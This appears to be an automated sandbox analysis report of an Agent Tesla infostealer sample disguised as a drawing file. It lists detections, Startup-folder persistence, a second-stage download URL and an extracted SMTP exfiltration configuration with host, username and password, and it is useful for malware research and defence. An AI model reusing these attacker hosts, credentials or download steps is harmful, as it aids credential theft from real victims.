Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe, ProcessId: 7604, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\page.exe

Avira: detection malicious, Label: HEUR/AGEN.1309910

Found malware configuration

Source: powershell.exe.7956.6.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\page.exe

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: 58955, ZN25888A #U2013 drawing.pif.exe	ReversingLabs: Detection: 23%
Source: 58955, ZN25888A #U2013 drawing.pif.exe	Virustotal: Detection: 25%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\page.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Joe Sandbox ML: detected

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1676892478.0000000005D00000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1676892478.0000000005D00000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior

Source: Joe Sandbox View

IP Address: 46.175.148.58 46.175.148.58

Source: global traffic

TCP traffic: 192.168.2.9:49889 -> 46.175.148.58:25

Source: global traffic	HTTP traffic detected: GET /panel/uploads/Hbfki.wav HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Hbfki.wav HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /panel/uploads/Hbfki.wav HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Hbfki.wav HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: hlag.ccConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: hlag.cc
Source: global traffic	DNS traffic detected: DNS query: mail.iaa-airferight.com

Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002651000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hlag.cc
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002651000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hlag.cc/panel/uploads/Hbfki.wav
Source: InstallUtil.exe, 0000000B.00000002.1860164529.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.2629909474.0000000002634000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1570468687.0000000005011000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: InstallUtil.exe, 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000006.00000002.1570468687.0000000005011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.1570468687.0000000005166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000006.00000002.1574255553.0000000006079000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000010.00000002.1932819109.0000000003C15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_00BB2830	1_2_00BB2830
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_00BBF208	1_2_00BBF208
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_0569E478	1_2_0569E478
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_05699650	1_2_05699650
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_0569BB88	1_2_0569BB88
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_05699640	1_2_05699640
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_0569BB77	1_2_0569BB77
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_06D1FA88	1_2_06D1FA88
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_06D1F780	1_2_06D1F780
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_06D1E1F8	1_2_06D1E1F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FFB490	6_2_04FFB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FFB470	6_2_04FFB470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148A1C8	11_2_0148A1C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148E2C0	11_2_0148E2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_014895B0	11_2_014895B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01486610	11_2_01486610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148A9F0	11_2_0148A9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148FBD0	11_2_0148FBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01485AF8	11_2_01485AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148ADD0	11_2_0148ADD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01486DD0	11_2_01486DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148CE70	11_2_0148CE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148D0ED	11_2_0148D0ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01486601	11_2_01486601
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148A6C8	11_2_0148A6C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01485694	11_2_01485694
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148A6B8	11_2_0148A6B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148A9E0	11_2_0148A9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_014898F8	11_2_014898F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01482BB0	11_2_01482BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148ADC1	11_2_0148ADC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01486DC3	11_2_01486DC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0148CDD0	11_2_0148CDD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01482C68	11_2_01482C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648BE60	11_2_0648BE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648A358	11_2_0648A358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06482BF0	11_2_06482BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06481C50	11_2_06481C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648D000	11_2_0648D000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648F800	11_2_0648F800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06484CD0	11_2_06484CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06486D78	11_2_06486D78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06488138	11_2_06488138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648A989	11_2_0648A989
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648BE4F	11_2_0648BE4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06489AC0	11_2_06489AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064886D8	11_2_064886D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648E2A0	11_2_0648E2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06489F10	11_2_06489F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064893C0	11_2_064893C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648CFF0	11_2_0648CFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648F7F0	11_2_0648F7F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06489008	11_2_06489008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06484CC0	11_2_06484CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06487900	11_2_06487900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06485907	11_2_06485907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06485918	11_2_06485918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648812A	11_2_0648812A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064861D8	11_2_064861D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648718A	11_2_0648718A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06487198	11_2_06487198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064925F8	11_2_064925F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06491FCE	11_2_06491FCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064925F8	11_2_064925F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06490979	11_2_06490979
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0649C970	11_2_0649C970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06490992	11_2_06490992
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D4E61	11_2_064D4E61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D5268	11_2_064D5268
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_028A32A8	16_2_028A32A8
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_028A1458	16_2_028A1458
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_028AF210	16_2_028AF210
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_0715F780	16_2_0715F780
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_0715FA88	16_2_0715FA88
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_0715E1F8	16_2_0715E1F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AA1C8	20_2_025AA1C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A6610	20_2_025A6610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AA6C8	20_2_025AA6C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A95B0	20_2_025A95B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AFBD7	20_2_025AFBD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AE8E8	20_2_025AE8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AA9F0	20_2_025AA9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A6DD0	20_2_025A6DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025ACDE0	20_2_025ACDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AE2C0	20_2_025AE2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A4344	20_2_025A4344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AD0ED	20_2_025AD0ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A3674	20_2_025A3674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A6600	20_2_025A6600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A36D5	20_2_025A36D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A36EC	20_2_025A36EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A3697	20_2_025A3697
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AA6B9	20_2_025AA6B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A36B1	20_2_025A36B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A3719	20_2_025A3719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A373E	20_2_025A373E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A98F8	20_2_025A98F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A5908	20_2_025A5908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AA9E1	20_2_025AA9E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A59A2	20_2_025A59A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A5F00	20_2_025A5F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A5C52	20_2_025A5C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A2C68	20_2_025A2C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A2C67	20_2_025A2C67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AADD0	20_2_025AADD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025A6DC2	20_2_025A6DC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_025AADC1	20_2_025AADC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C94CD0	20_2_05C94CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C91C50	20_2_05C91C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9BE60	20_2_05C9BE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9A98B	20_2_05C9A98B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C98138	20_2_05C98138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9D000	20_2_05C9D000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9F800	20_2_05C9F800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C92BF0	20_2_05C92BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9A358	20_2_05C9A358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C96A08	20_2_05C96A08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C975E9	20_2_05C975E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9CD18	20_2_05C9CD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C94CCB	20_2_05C94CCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9CFF0	20_2_05C9CFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9F7F3	20_2_05C9F7F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C99F10	20_2_05C99F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C986D8	20_2_05C986D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9BE4F	20_2_05C9BE4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C961D8	20_2_05C961D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9718B	20_2_05C9718B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C97198	20_2_05C97198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9590F	20_2_05C9590F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C97900	20_2_05C97900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C95918	20_2_05C95918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9812B	20_2_05C9812B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C99008	20_2_05C99008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C993C0	20_2_05C993C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C99AC0	20_2_05C99AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05C9E2A0	20_2_05C9E2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CA25F8	20_2_05CA25F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CA25F8	20_2_05CA25F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CA0A03	20_2_05CA0A03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CADDB4	20_2_05CADDB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_05CE4E77	20_2_05CE4E77
